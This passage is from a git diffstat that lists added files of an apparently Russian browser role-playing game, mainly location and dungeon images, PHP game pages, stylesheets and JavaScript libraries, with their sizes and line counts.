-> 5235 bytes i/tower/1019.jpg | Bin 0 -> 4545 bytes i/tower/1020.jpg | Bin 0 -> 4197 bytes i/tower/1021.jpg | Bin 0 -> 3805 bytes i/tower/1022.jpg | Bin 0 -> 4427 bytes i/tower/1023.jpg | Bin 0 -> 3306 bytes i/tower/1024.jpg | Bin 0 -> 4482 bytes i/tower/1025.jpg | Bin 0 -> 3930 bytes i/tower/1026.jpg | Bin 0 -> 5406 bytes i/tower/1027.jpg | Bin 0 -> 3711 bytes i/tower/1028.jpg | Bin 0 -> 5711 bytes i/tower/1029.jpg | Bin 0 -> 7443 bytes i/tower/1030.jpg | Bin 0 -> 3806 bytes i/tower/1031.jpg | Bin 0 -> 4403 bytes i/tower/1032.jpg | Bin 0 -> 5884 bytes i/tower/1033.jpg | Bin 0 -> 6266 bytes i/tower/1034.jpg | Bin 0 -> 4092 bytes i/tower/1035.jpg | Bin 0 -> 3388 bytes i/tower/1036.jpg | Bin 0 -> 3787 bytes i/tower/1037.jpg | Bin 0 -> 4303 bytes i/tower/1038.jpg | Bin 0 -> 3990 bytes i/tower/1039.jpg | Bin 0 -> 4902 bytes i/tower/1040.jpg | Bin 0 -> 3204 bytes i/tower/1041.jpg | Bin 0 -> 4475 bytes i/tower/1042.jpg | Bin 0 -> 4516 bytes i/tower/1043.jpg | Bin 0 -> 5633 bytes i/tower/1044.jpg | Bin 0 -> 5020 bytes i/tower/1045.jpg | Bin 0 -> 4387 bytes i/tower/1046.jpg | Bin 0 -> 4675 bytes i/tower/1047.jpg | Bin 0 -> 4663 bytes i/tower/1048.jpg | Bin 0 -> 6600 bytes i/tower/1049.jpg | Bin 0 -> 5264 bytes i/tower/1050.jpg | Bin 0 -> 4043 bytes i/tower/1051.jpg | Bin 0 -> 7058 bytes i/tower/1052.jpg | Bin 0 -> 2893 bytes i/tower/1053.jpg | Bin 0 -> 3245 bytes i/tower/1054.jpg | Bin 0 -> 5330 bytes i/tower/1055.jpg | Bin 0 -> 5950 bytes i/tower/1056.jpg | Bin 0 -> 3535 bytes i/tower/1057.jpg | Bin 0 -> 4930 bytes i/tower/1058.jpg | Bin 0 -> 4207 bytes i/tower/1059.jpg | Bin 0 -> 4232 bytes i/tower/1060.jpg | Bin 0 -> 2550 bytes i/tower/attack.gif | Bin 0 -> 347 bytes i/travma.gif | Bin 0 -> 621 bytes i/travma2.gif | Bin 0 -> 135 bytes i/txtcrt.gif | Bin 0 -> 773 bytes i/unmarry.gif | Bin 0 -> 1642 bytes i/unstack.gif | Bin 0 -> 145 bytes i/up.gif | Bin 0 -> 73 bytes i/vhod.jpg | Bin 0 -> 43495 bytes i/victorina1.gif | Bin 0 -> 1909 bytes i/victorina2.gif | Bin 0 -> 1929 bytes i/victorina3.gif | Bin 0 -> 1921 bytes i/vip1.png | Bin 0 -> 19022 bytes i/vip2.png | Bin 0 -> 18177 bytes i/vip3.png | Bin 0 -> 20236 bytes i/vip_bk.gif | Bin 0 -> 1037 bytes i/w1.gif | Bin 0 -> 262 bytes i/w10.gif | Bin 0 -> 1238 bytes i/w11.gif | Bin 0 -> 556 bytes i/w12.gif | Bin 0 -> 542 bytes i/w13.gif | Bin 0 -> 410 bytes i/w2.gif | Bin 0 -> 221 bytes i/w3.gif | Bin 0 -> 649 bytes i/w4.gif | Bin 0 -> 1434 bytes i/w6.gif | Bin 0 -> 149 bytes i/w7.gif | Bin 0 -> 699 bytes i/w8.gif | Bin 0 -> 699 bytes i/w9.gif | Bin 0 -> 815 bytes i/wallpaper1.gif | Bin 0 -> 965 bytes i/wm1.jpg | Bin 0 -> 68479 bytes i/world_map2/10_paladinov_bgx.jpg | Bin 0 -> 919 bytes i/world_map2/10_paladinov_end.jpg | Bin 0 -> 743 bytes i/world_map2/10_paladinov_logo.jpg | Bin 0 -> 2405 bytes i/world_map2/11_sovet_bgx.jpg | Bin 0 -> 914 bytes i/world_map2/11_sovet_end.jpg | Bin 0 -> 752 bytes i/world_map2/11_sovet_logo.jpg | Bin 0 -> 2317 bytes i/world_map2/12_tma_bgx.jpg | Bin 0 -> 879 bytes i/world_map2/12_tma_end.jpg | Bin 0 -> 732 bytes i/world_map2/12_tma_logo.jpg | Bin 0 -> 2432 bytes i/world_map2/12_tma_logo2.jpg | Bin 0 -> 2529 bytes i/world_map2/13_netral_bgx.jpg | Bin 0 -> 946 bytes i/world_map2/13_netral_end.jpg | Bin 0 -> 569 bytes i/world_map2/13_netral_logo.jpg | Bin 0 -> 2469 bytes i/world_map2/13_netral_logo2.jpg | Bin 0 -> 2539 bytes i/world_map2/14_svet_bgx.jpg | Bin 0 -> 959 bytes i/world_map2/14_svet_end.jpg | Bin 0 -> 578 bytes i/world_map2/14_svet_logo.jpg | Bin 0 -> 2273 bytes i/world_map2/14_svet_logo2.jpg | Bin 0 -> 2460 bytes i/world_map2/15_buduar_bgx.jpg | Bin 0 -> 973 bytes i/world_map2/15_buduar_end.jpg | Bin 0 -> 576 bytes i/world_map2/15_buduar_logo.jpg | Bin 0 -> 2522 bytes i/world_map2/16_clanwars_bgx.jpg | Bin 0 -> 988 bytes i/world_map2/16_clanwars_end.jpg | Bin 0 -> 599 bytes i/world_map2/16_clanwars_logo.jpg | Bin 0 -> 2628 bytes i/world_map2/1_novi4ki_bgx.jpg | Bin 0 -> 957 bytes i/world_map2/1_novi4ki_end.jpg | Bin 0 -> 569 bytes i/world_map2/1_novi4ki_logo.jpg | Bin 0 -> 2435 bytes i/world_map2/2_zal_voinov_bgx.jpg | Bin 0 -> 982 bytes i/world_map2/2_zal_voinov_end.jpg | Bin 0 -> 596 bytes i/world_map2/2_zal_voinov_logo.jpg | Bin 0 -> 2525 bytes i/world_map2/3_torg_bgx.jpg | Bin 0 -> 909 bytes i/world_map2/3_torg_end.jpg | Bin 0 -> 740 bytes i/world_map2/3_torg_logo.jpg | Bin 0 -> 2309 bytes i/world_map2/4_rycarskij_bgx.jpg | Bin 0 -> 967 bytes i/world_map2/4_rycarskij_end.jpg | Bin 0 -> 576 bytes i/world_map2/4_rycarskij_logo.jpg | Bin 0 -> 2398 bytes i/world_map2/5_bashnja_bgx.jpg | Bin 0 -> 978 bytes i/world_map2/5_bashnja_end.jpg | Bin 0 -> 579 bytes i/world_map2/5_bashnja_logo.jpg | Bin 0 -> 2450 bytes i/world_map2/6_koldovskoj_bgx.jpg | Bin 0 -> 964 bytes i/world_map2/6_koldovskoj_end.jpg | Bin 0 -> 578 bytes i/world_map2/6_koldovskoj_logo.jpg | Bin 0 -> 2391 bytes i/world_map2/7_etaz_duhov_bgx.jpg | Bin 0 -> 976 bytes i/world_map2/7_etaz_duhov_end.jpg | Bin 0 -> 582 bytes i/world_map2/7_etaz_duhov_logo.jpg | Bin 0 -> 2463 bytes i/world_map2/8_astral_bgx.jpg | Bin 0 -> 996 bytes i/world_map2/8_astral_end.jpg | Bin 0 -> 599 bytes i/world_map2/8_astral_logo.jpg | Bin 0 -> 2522 bytes i/world_map2/9_fire_bgx.jpg | Bin 0 -> 1002 bytes i/world_map2/9_fire_end.jpg | Bin 0 -> 608 bytes i/world_map2/9_fire_logo.jpg | Bin 0 -> 2484 bytes i/world_map2/flag_position.png | Bin 0 -> 908 bytes i/world_map2/hr_line.jpg | Bin 0 -> 688 bytes i/world_map2/main_bgy_left.jpg | Bin 0 -> 1613 bytes i/world_map2/main_bgy_right.jpg | Bin 0 -> 1623 bytes i/zak.html | 203 + i/zamok/1.gif | Bin 0 -> 245064 bytes i/zamok/2.gif | Bin 0 -> 62487 bytes i/zamok/3.gif | Bin 0 -> 34172 bytes i/zamok/4.jpg | Bin 0 -> 47936 bytes i/zitadel/1.jpg | Bin 0 -> 78324 bytes i/zitadel/10.jpg | Bin 0 -> 57515 bytes i/zitadel/11.jpg | Bin 0 -> 54932 bytes i/zitadel/12.jpg | Bin 0 -> 64532 bytes i/zitadel/13.jpg | Bin 0 -> 52257 bytes i/zitadel/14.jpg | Bin 0 -> 59677 bytes i/zitadel/15.jpg | Bin 0 -> 51033 bytes i/zitadel/16.jpg | Bin 0 -> 66214 bytes i/zitadel/17.jpg | Bin 0 -> 54521 bytes i/zitadel/18.jpg | Bin 0 -> 55673 bytes i/zitadel/19.jpg | Bin 0 -> 46764 bytes i/zitadel/2.jpg | Bin 0 -> 74024 bytes i/zitadel/20.jpg | Bin 0 -> 62544 bytes i/zitadel/21.jpg | Bin 0 -> 40464 bytes i/zitadel/22.jpg | Bin 0 -> 82519 bytes i/zitadel/23.jpg | Bin 0 -> 89560 bytes i/zitadel/24.jpg | Bin 0 -> 65440 bytes i/zitadel/25.jpg | Bin 0 -> 78614 bytes i/zitadel/26.jpg | Bin 0 -> 77687 bytes i/zitadel/27.jpg | Bin 0 -> 74296 bytes i/zitadel/28.jpg | Bin 0 -> 68637 bytes i/zitadel/29.jpg | Bin 0 -> 61965 bytes i/zitadel/3.jpg | Bin 0 -> 68571 bytes i/zitadel/30.jpg | Bin 0 -> 68616 bytes i/zitadel/31.jpg | Bin 0 -> 74024 bytes i/zitadel/4.jpg | Bin 0 -> 52751 bytes i/zitadel/5.jpg | Bin 0 -> 45718 bytes i/zitadel/6.jpg | Bin 0 -> 59922 bytes i/zitadel/7.jpg | Bin 0 -> 80348 bytes i/zitadel/8.jpg | Bin 0 -> 50388 bytes i/zitadel/9.jpg | Bin 0 -> 50505 bytes i/znaki/0.png | Bin 0 -> 25372 bytes i/znaki/1024.png | Bin 0 -> 24858 bytes i/znaki/11.png | Bin 0 -> 18662 bytes i/znaki/12.png | Bin 0 -> 17663 bytes i/znaki/128.png | Bin 0 -> 22948 bytes i/znaki/13.png | Bin 0 -> 19564 bytes i/znaki/15.png | Bin 0 -> 21654 bytes i/znaki/16.png | Bin 0 -> 24908 bytes i/znaki/17.png | Bin 0 -> 20045 bytes i/znaki/18.png | Bin 0 -> 19742 bytes i/znaki/2.png | Bin 0 -> 24831 bytes i/znaki/21.png | Bin 0 -> 27047 bytes i/znaki/24.png | Bin 0 -> 19347 bytes i/znaki/25.png | Bin 0 -> 22643 bytes i/znaki/256.png | Bin 0 -> 23866 bytes i/znaki/30.png | Bin 0 -> 22326 bytes i/znaki/32.png | Bin 0 -> 25023 bytes i/znaki/33.png | Bin 0 -> 21654 bytes i/znaki/34.png | Bin 0 -> 17663 bytes i/znaki/35.png | Bin 0 -> 19564 bytes i/znaki/36.png | Bin 0 -> 18662 bytes i/znaki/37.png | Bin 0 -> 17288 bytes i/znaki/38.png | Bin 0 -> 23694 bytes i/znaki/39.png | Bin 0 -> 19347 bytes i/znaki/4.png | Bin 0 -> 24990 bytes i/znaki/40.png | Bin 0 -> 22643 bytes i/znaki/41.png | Bin 0 -> 20661 bytes i/znaki/42.png | Bin 0 -> 25678 bytes i/znaki/43.png | Bin 0 -> 27047 bytes i/znaki/44.png | Bin 0 -> 26549 bytes i/znaki/45.png | Bin 0 -> 25770 bytes i/znaki/512.png | Bin 0 -> 24330 bytes i/znaki/8.png | Bin 0 -> 24124 bytes i/znaki/achieve.png | Bin 0 -> 27412 bytes i/znaki/inf_pal.png | Bin 0 -> 25061 bytes i/znaki/inf_photoscroll.png | Bin 0 -> 27137 bytes i/znaki/inf_scroll.png | Bin 0 -> 26776 bytes i/znaki/ud.png | Bin 0 -> 24969 bytes i/zvuk.gif | Bin 0 -> 841 bytes i/zvuk_off.gif | Bin 0 -> 974 bytes i/zzz.png | Bin 0 -> 730 bytes ico_change.gif | Bin 0 -> 1081 bytes img/Thumbs.db | Bin 0 -> 8192 bytes img/bg_scroll_01.gif | Bin 0 -> 7261 bytes img/bg_scroll_05.gif | Bin 0 -> 7043 bytes img/index.html | 1 + img/index.php | 0 img/lib_reg2.gif | Bin 0 -> 22941 bytes img/podzem/0.gif | Bin 0 -> 1651 bytes img/podzem/0_0.gif | 241 + img/podzem/1.gif | Bin 0 -> 8285 bytes img/podzem/1_0.gif | Bin 0 -> 14125 bytes img/podzem/2.gif | Bin 0 -> 3473 bytes img/podzem/3.gif | Bin 0 -> 7693 bytes img/podzem/Monster.gif | Bin 0 -> 20617 bytes img/podzem/Thumbs.db | Bin 0 -> 113152 bytes img/podzem/altar_3.JPG | Bin 0 -> 29341 bytes img/podzem/b.gif | Bin 0 -> 1255 bytes img/podzem/bg.gif | Bin 0 -> 1118 bytes img/podzem/bolt.gif | Bin 0 -> 3282 bytes img/podzem/bolt_d.gif | Bin 0 -> 2676 bytes img/podzem/buttom.gif | Bin 0 -> 1950 bytes img/podzem/buttomi.gif | Bin 0 -> 1841 bytes img/podzem/buttomii.gif | Bin 0 -> 1841 bytes img/podzem/cn1.gif | 1039 +++ img/podzem/cn2.gif | Bin 0 -> 47422 bytes img/podzem/cn3.gif | Bin 0 -> 9112 bytes img/podzem/cy3.gif | Bin 0 -> 1882 bytes img/podzem/cy3.jpg | Bin 0 -> 1516 bytes img/podzem/dob5.gif | Bin 0 -> 536 bytes img/podzem/g.gif | Bin 0 -> 3604 bytes img/podzem/g_c.gif | Bin 0 -> 3069 bytes img/podzem/g_r.gif | Bin 0 -> 2642 bytes img/podzem/hall.jpg | Bin 0 -> 58183 bytes img/podzem/hall2.JPG | Bin 0 -> 33620 bytes img/podzem/ico_change_leader1.gif | Bin 0 -> 1114 bytes img/podzem/ico_kill_member1.gif | Bin 0 -> 1102 bytes img/podzem/index.html | 1 + img/podzem/kluchik.gif | Bin 0 -> 2035 bytes img/podzem/koll.gif | Bin 0 -> 6898 bytes img/podzem/left.gif | Bin 0 -> 2229 bytes img/podzem/lefti.gif | Bin 0 -> 2160 bytes img/podzem/leftii.gif | Bin 0 -> 2160 bytes img/podzem/lestnica.gif | Bin 0 -> 34409 bytes img/podzem/ln1.gif | 241 + img/podzem/ln2.gif | Bin 0 -> 14125 bytes img/podzem/ln3.gif | Bin 0 -> 5074 bytes img/podzem/ly1.gif | Bin 0 -> 24776 bytes img/podzem/ly2.gif | Bin 0 -> 9397 bytes img/podzem/ly3.gif | Bin 0 -> 3595 bytes img/podzem/mapdr.jpg | Bin 0 -> 7656 bytes img/podzem/maprr.jpg | Bin 0 -> 148037 bytes img/podzem/move.gif | Bin 0 -> 804 bytes img/podzem/nav.gif | Bin 0 -> 12710 bytes img/podzem/nb.gif | Bin 0 -> 2501 bytes img/podzem/panbox_on.gif | Bin 0 -> 3069 bytes img/podzem/ref.gif | Bin 0 -> 1816 bytes img/podzem/right.gif | Bin 0 -> 2198 bytes img/podzem/righti.gif | Bin 0 -> 2104 bytes img/podzem/rightii.gif | Bin 0 -> 2104 bytes img/podzem/rn1.gif | 280 + img/podzem/rn2.gif | Bin 0 -> 20269 bytes img/podzem/rn3.gif | Bin 0 -> 8083 bytes img/podzem/rv.gif | Bin 0 -> 536 bytes img/podzem/ry1.gif | 268 + img/podzem/ry2.gif | Bin 0 -> 14709 bytes img/podzem/ry3.gif | Bin 0 -> 3593 bytes img/podzem/sun.gif | Bin 0 -> 3234 bytes img/podzem/top.gif | Bin 0 -> 1907 bytes img/podzem/top.psd | Bin 0 -> 54424 bytes img/podzem/topi.gif | Bin 0 -> 1821 bytes img/podzem/topii.gif | Bin 0 -> 1821 bytes img/podzem/use_heal_on.gif | Bin 0 -> 2963 bytes img/podzem/user.gif | Bin 0 -> 814 bytes img/podzem/v.gif | Bin 0 -> 2800 bytes img/podzem/vlevo.gif | Bin 0 -> 1358 bytes img/podzem/vpravo.gif | Bin 0 -> 1241 bytes img/podzem/yeralti.gif | Bin 0 -> 45057 bytes img/podzem/yerustu.gif | 1045 +++ img/podzem/ziton.gif | Bin 0 -> 2827 bytes img/rejting.GIF | Bin 0 -> 1850 bytes img/slot_bottom0.gif | Bin 0 -> 3630 bytes index.html | 26 + index.php | 25 + index/css/keyboard.css | 268 + index/css/main.css | 172 + index/css/welcome.css | 46 + index/images/18adult.gif | Bin 0 -> 3552 bytes index/images/bg.png | Bin 0 -> 467949 bytes index/images/change_warn.gif | Bin 0 -> 5014 bytes index/images/klav_transparent.gif | Bin 0 -> 153 bytes index/images/logo1.png | Bin 0 -> 323836 bytes inf.php | 392 + itemschoice.php | 77 + js/CombatsUI.js | 1 + js/LocalText.js | 1 + js/ZeroClipboard.js | 312 + js/ZeroClipboard.swf | 10 + js/_e2.js | 1 + js/_e_1.js | 166 + js/ajaxLoad.js | 80 + js/battle2.js | 31 + js/ch.js | 93 + js/ch2.91.js | 97 + js/chat.js | 833 ++ js/commoninf.js | 22 + js/contact.js | 145 + js/core.js | 263 + js/dialog_029_ru.js | 369 + js/dialog_030_ru.js | 346 + js/forum.js | 368 + js/forum_smiles.json | 133 + js/funcs.js | 107 + js/gameEngine.js | 35 + js/h.js | 280 + js/inf.0.104.js | 20 + js/inf.0.96.js | 119 + js/jax_dialog.js | 138 + js/jquery-1.7.2.min.js | 4 + js/jquery.cookie.js | 51 + js/jquery.js | 7179 +++++++++++++++++ js/jquery.min.js | 2 + js/jquery.plugins.js | 963 +++ js/jquery.simplemodal.js | 26 + js/jquery.ui.js | 6 + js/jquery.wysibb-1.3.0.js | 3092 +++++++ js/kicke.js | 56 + js/main_096_ru.js | 21 + js/main_096_ru2.js | 142 + js/mi.js | 145 + js/modal_j.js | 131 + js/recoverscroll.js | 122 + js/refreshonline.js | 3 + js/selectlogin.js | 60 + js/showthing.js | 76 + js/sl2.21.js | 263 + js/sl2.js | 147 + js/time.js | 26 + js/tooltip.js | 198 + js/win_add.js | 201 + kartabc.html | 1003 +++ klan.php | 259 + klanedit.php | 182 + krshop.php | 280 + kwest.php | 285 + lab.php | 480 ++ lab2.php | 481 ++ lab_enter.php | 457 ++ labirint(1).php | 917 +++ labirint(2).php | 911 +++ labirint.php | 927 +++ law.html | 182 + left.html | 8 + lib/exp.html | 1081 +++ library.php | 427 + .../castle-square/img/day/background.png | Bin 0 -> 607048 bytes locations/castle-square/img/day/h/arena.png | Bin 0 -> 116445 bytes .../castle-square/img/day/h/catacomb.png | Bin 0 -> 45462 bytes locations/castle-square/img/day/h/dragon.png | Bin 0 -> 86700 bytes .../castle-square/img/day/h/fonar_left.png | Bin 0 -> 9197 bytes .../castle-square/img/day/h/fonar_right.png | Bin 0 -> 9173 bytes .../castle-square/img/day/h/labirinth.png | Bin 0 -> 57541 bytes locations/castle-square/img/day/h/znakhar.png | Bin 0 -> 70438 bytes locations/castle-square/img/day/n/arena.png | Bin 0 -> 110179 bytes .../castle-square/img/day/n/catacomb.png | Bin 0 -> 40842 bytes locations/castle-square/img/day/n/dragon.png | Bin 0 -> 79414 bytes .../castle-square/img/day/n/fonar_left.png | Bin 0 -> 8160 bytes .../castle-square/img/day/n/fonar_right.png | Bin 0 -> 8083 bytes .../castle-square/img/day/n/labirinth.png | Bin 0 -> 57174 bytes locations/castle-square/img/day/n/znakhar.png | Bin 0 -> 66797 bytes .../castle-square/img/night/background.png | Bin 0 -> 533510 bytes locations/castle-square/img/night/h/arena.png | Bin 0 -> 126732 bytes .../castle-square/img/night/h/catacomb.png | Bin 0 -> 50265 bytes .../castle-square/img/night/h/dragon.png | Bin 0 -> 105338 bytes .../castle-square/img/night/h/fonar_left.png | Bin 0 -> 8948 bytes .../castle-square/img/night/h/fonar_right.png | Bin 0 -> 8954 bytes .../castle-square/img/night/h/labirinth.png | Bin 0 -> 52987 bytes .../castle-square/img/night/h/znakhar.png | Bin 0 -> 72224 bytes locations/castle-square/img/night/n/arena.png | Bin 0 -> 138044 bytes .../castle-square/img/night/n/catacomb.png | Bin 0 -> 51928 bytes .../castle-square/img/night/n/dragon.png | Bin 0 -> 109933 bytes .../castle-square/img/night/n/fonar_left.png | Bin 0 -> 7594 bytes .../castle-square/img/night/n/fonar_right.png | Bin 0 -> 7521 bytes .../castle-square/img/night/n/labirinth.png | Bin 0 -> 51645 bytes .../castle-square/img/night/n/znakhar.png | Bin 0 -> 76115 bytes locations/castle-square/map.php | 35 + .../central-square/img/day/background.jpg | Bin 0 -> 141577 bytes .../central-square/img/day/h/bigshop.png | Bin 0 -> 39429 bytes .../central-square/img/day/h/blacksmith.png | Bin 0 -> 26311 bytes locations/central-square/img/day/h/castle.png | Bin 0 -> 178135 bytes .../central-square/img/day/h/fleamarket.png | Bin 0 -> 15464 bytes locations/central-square/img/day/h/loto.png | Bin 0 -> 28778 bytes .../central-square/img/day/h/postoffice.png | Bin 0 -> 33554 bytes locations/central-square/img/day/h/shop.png | Bin 0 -> 29838 bytes .../central-square/img/day/h/signleft.png | Bin 0 -> 7652 bytes .../central-square/img/day/h/signright.png | Bin 0 -> 7600 bytes locations/central-square/img/day/h/statue.png | Bin 0 -> 15752 bytes .../central-square/img/day/h/zima_berezka.png | Bin 0 -> 17712 bytes .../img/day/h/zima_cap_arr_left.png | Bin 0 -> 2842 bytes .../img/day/h/zima_cap_arr_right.png | Bin 0 -> 2833 bytes .../img/day/h/zima_cap_arr_top.png | Bin 0 -> 2165 bytes .../img/day/h/zima_cap_cp_day.jpg | Bin 0 -> 48643 bytes .../central-square/img/day/h/zima_club.png | Bin 0 -> 71797 bytes .../central-square/img/day/h/zima_kom.png | Bin 0 -> 6030 bytes .../central-square/img/day/h/zima_loto.png | Bin 0 -> 14226 bytes .../central-square/img/day/h/zima_po4ta.png | Bin 0 -> 11225 bytes .../central-square/img/day/h/zima_rem.png | Bin 0 -> 7101 bytes .../central-square/img/day/h/zima_shop.png | Bin 0 -> 15976 bytes .../central-square/img/day/h/zima_stella.png | Bin 0 -> 4182 bytes .../central-square/img/day/n/bigshop.png | Bin 0 -> 37942 bytes .../central-square/img/day/n/blacksmith.png | Bin 0 -> 24494 bytes locations/central-square/img/day/n/castle.png | Bin 0 -> 174232 bytes .../central-square/img/day/n/fleamarket.png | Bin 0 -> 13117 bytes locations/central-square/img/day/n/loto.png | Bin 0 -> 27111 bytes .../central-square/img/day/n/postoffice.png | Bin 0 -> 31834 bytes locations/central-square/img/day/n/shop.png | Bin 0 -> 28013 bytes .../central-square/img/day/n/signleft.png | Bin 0 -> 6680 bytes .../central-square/img/day/n/signright.png | Bin 0 -> 6641 bytes locations/central-square/img/day/n/statue.png | Bin 0 -> 13980 bytes .../img/day/n/vesna_cap_statue.png | Bin 0 -> 3211 bytes .../central-square/img/day/n/zima_berezka.png | Bin 0 -> 17712 bytes .../img/day/n/zima_cap_arr_left.png | Bin 0 -> 2842 bytes .../img/day/n/zima_cap_arr_right.png | Bin 0 -> 2833 bytes .../img/day/n/zima_cap_arr_top.png | Bin 0 -> 2165 bytes .../img/day/n/zima_cap_cp_day.jpg | Bin 0 -> 48643 bytes .../central-square/img/day/n/zima_club.png | Bin 0 -> 71797 bytes .../central-square/img/day/n/zima_kom.png | Bin 0 -> 6030 bytes .../central-square/img/day/n/zima_loto.png | Bin 0 -> 14226 bytes .../central-square/img/day/n/zima_po4ta.png | Bin 0 -> 11225 bytes .../central-square/img/day/n/zima_rem.png | Bin 0 -> 7101 bytes .../central-square/img/day/n/zima_shop.png | Bin 0 -> 15976 bytes .../central-square/img/day/n/zima_stella.png | Bin 0 -> 4182 bytes .../central-square/img/night/background.jpg | Bin 0 -> 152097 bytes .../central-square/img/night/h/bigshop.png | Bin 0 -> 38302 bytes .../central-square/img/night/h/blacksmith.png | Bin 0 -> 24564 bytes .../central-square/img/night/h/castle.png | Bin 0 -> 163589 bytes .../central-square/img/night/h/fleamarket.png | Bin 0 -> 16525 bytes locations/central-square/img/night/h/loto.png | Bin 0 -> 27757 bytes .../central-square/img/night/h/postoffice.png | Bin 0 -> 31402 bytes locations/central-square/img/night/h/shop.png | Bin 0 -> 27593 bytes .../central-square/img/night/h/signleft.png | Bin 0 -> 9338 bytes .../central-square/img/night/h/signright.png | Bin 0 -> 9402 bytes .../central-square/img/night/h/statue.png | Bin 0 -> 18871 bytes .../central-square/img/night/n/bigshop.png | Bin 0 -> 35478 bytes .../central-square/img/night/n/blacksmith.png | Bin 0 -> 22273 bytes .../central-square/img/night/n/castle.png | Bin 0 -> 157456 bytes .../central-square/img/night/n/fleamarket.png | Bin 0 -> 14156 bytes locations/central-square/img/night/n/loto.png | Bin 0 -> 24860 bytes .../central-square/img/night/n/postoffice.png | Bin 0 -> 29561 bytes locations/central-square/img/night/n/shop.png | Bin 0 -> 25129 bytes .../central-square/img/night/n/signleft.png | Bin 0 -> 7587 bytes .../central-square/img/night/n/signright.png | Bin 0 -> 7606 bytes .../central-square/img/night/n/statue.png | Bin 0 -> 17223 bytes .../img/night/n/vesna_cap_statue.png | Bin 0 -> 3211 bytes .../img/night/n/zima_berezka.png | Bin 0 -> 17712 bytes .../img/night/n/zima_cap_arr_left.png | Bin 0 -> 2842 bytes .../img/night/n/zima_cap_arr_right.png | Bin 0 -> 2833 bytes .../img/night/n/zima_cap_arr_top.png | Bin 0 -> 2165 bytes .../img/night/n/zima_cap_cp_day.jpg | Bin 0 -> 48643 bytes .../central-square/img/night/n/zima_club.png | Bin 0 -> 71797 bytes .../central-square/img/night/n/zima_kom.png | Bin 0 -> 6030 bytes .../central-square/img/night/n/zima_loto.png | Bin 0 -> 14226 bytes .../central-square/img/night/n/zima_po4ta.png | Bin 0 -> 11225 bytes .../central-square/img/night/n/zima_rem.png | Bin 0 -> 7101 bytes .../central-square/img/night/n/zima_shop.png | Bin 0 -> 15976 bytes .../img/night/n/zima_stella.png | Bin 0 -> 4182 bytes locations/central-square/map.php | 41 + .../central-square2/img/day/background.png | Bin 0 -> 602637 bytes .../central-square2/img/day/h/bigshop.png | Bin 0 -> 39429 bytes .../central-square2/img/day/h/blacksmith.png | Bin 0 -> 26311 bytes .../central-square2/img/day/h/castle.png | Bin 0 -> 178135 bytes .../central-square2/img/day/h/fleamarket.png | Bin 0 -> 15464 bytes locations/central-square2/img/day/h/loto.png | Bin 0 -> 28778 bytes .../central-square2/img/day/h/postoffice.png | Bin 0 -> 33554 bytes locations/central-square2/img/day/h/shop.png | Bin 0 -> 29838 bytes .../central-square2/img/day/h/signleft.png | Bin 0 -> 7652 bytes .../central-square2/img/day/h/signright.png | Bin 0 -> 7600 bytes .../central-square2/img/day/h/statue.png | Bin 0 -> 15752 bytes .../central-square2/img/day/n/bigshop.png | Bin 0 -> 37942 bytes .../central-square2/img/day/n/blacksmith.png | Bin 0 -> 24494 bytes .../central-square2/img/day/n/castle.png | Bin 0 -> 174232 bytes .../central-square2/img/day/n/fleamarket.png | Bin 0 -> 13117 bytes locations/central-square2/img/day/n/loto.png | Bin 0 -> 27111 bytes .../central-square2/img/day/n/postoffice.png | Bin 0 -> 31834 bytes locations/central-square2/img/day/n/shop.png | Bin 0 -> 28013 bytes .../central-square2/img/day/n/signleft.png | Bin 0 -> 6680 bytes .../central-square2/img/day/n/signright.png | Bin 0 -> 6641 bytes .../central-square2/img/day/n/statue.png | Bin 0 -> 13980 bytes .../central-square2/img/night/background.png | Bin 0 -> 508024 bytes .../central-square2/img/night/h/bigshop.png | Bin 0 -> 38302 bytes .../img/night/h/blacksmith.png | Bin 0 -> 24564 bytes .../central-square2/img/night/h/castle.png | Bin 0 -> 163589 bytes .../img/night/h/fleamarket.png | Bin 0 -> 16525 bytes .../central-square2/img/night/h/loto.png | Bin 0 -> 27757 bytes .../img/night/h/postoffice.png | Bin 0 -> 31402 bytes .../central-square2/img/night/h/shop.png | Bin 0 -> 27593 bytes .../central-square2/img/night/h/signleft.png | Bin 0 -> 9338 bytes .../central-square2/img/night/h/signright.png | Bin 0 -> 9402 bytes .../central-square2/img/night/h/statue.png | Bin 0 -> 18871 bytes .../central-square2/img/night/n/bigshop.png | Bin 0 -> 35478 bytes .../img/night/n/blacksmith.png | Bin 0 -> 22273 bytes .../central-square2/img/night/n/castle.png | Bin 0 -> 157456 bytes .../img/night/n/fleamarket.png | Bin 0 -> 14156 bytes .../central-square2/img/night/n/loto.png | Bin 0 -> 24860 bytes .../img/night/n/postoffice.png | Bin 0 -> 29561 bytes .../central-square2/img/night/n/shop.png | Bin 0 -> 25129 bytes .../central-square2/img/night/n/signleft.png | Bin 0 -> 7587 bytes .../central-square2/img/night/n/signright.png | Bin 0 -> 7606 bytes .../central-square2/img/night/n/statue.png | Bin 0 -> 17223 bytes locations/central-square2/map.php | 40 + locations/parkovaja/img/day/background.png | Bin 0 -> 613146 bytes locations/parkovaja/img/day/h/darkforest.png | Bin 0 -> 97554 bytes locations/parkovaja/img/day/h/fonar_left.png | Bin 0 -> 12974 bytes locations/parkovaja/img/day/h/fonar_right.png | Bin 0 -> 12971 bytes locations/parkovaja/img/day/h/horse.png | Bin 0 -> 96718 bytes locations/parkovaja/img/day/h/inn.png | Bin 0 -> 72224 bytes locations/parkovaja/img/day/h/portal.png | Bin 0 -> 44961 bytes locations/parkovaja/img/day/h/repository.png | Bin 0 -> 70849 bytes .../parkovaja/img/day/h/vesna_cap_fontan2.png | Bin 0 -> 11507 bytes locations/parkovaja/img/day/n/darkforest.png | Bin 0 -> 95844 bytes locations/parkovaja/img/day/n/fonar_left.png | Bin 0 -> 11370 bytes locations/parkovaja/img/day/n/fonar_right.png | Bin 0 -> 11440 bytes locations/parkovaja/img/day/n/horse.png | Bin 0 -> 90843 bytes locations/parkovaja/img/day/n/inn.png | Bin 0 -> 75135 bytes locations/parkovaja/img/day/n/portal.png | Bin 0 -> 42655 bytes locations/parkovaja/img/day/n/repository.png | Bin 0 -> 64245 bytes .../parkovaja/img/day/n/vesna_cap_fontan2.png | Bin 0 -> 11507 bytes locations/parkovaja/img/night/background.png | Bin 0 -> 524484 bytes .../parkovaja/img/night/h/darkforest.png | Bin 0 -> 84511 bytes .../parkovaja/img/night/h/fonar_left.png | Bin 0 -> 12351 bytes .../parkovaja/img/night/h/fonar_right.png | Bin 0 -> 12366 bytes locations/parkovaja/img/night/h/horse.png | Bin 0 -> 88945 bytes locations/parkovaja/img/night/h/inn.png | Bin 0 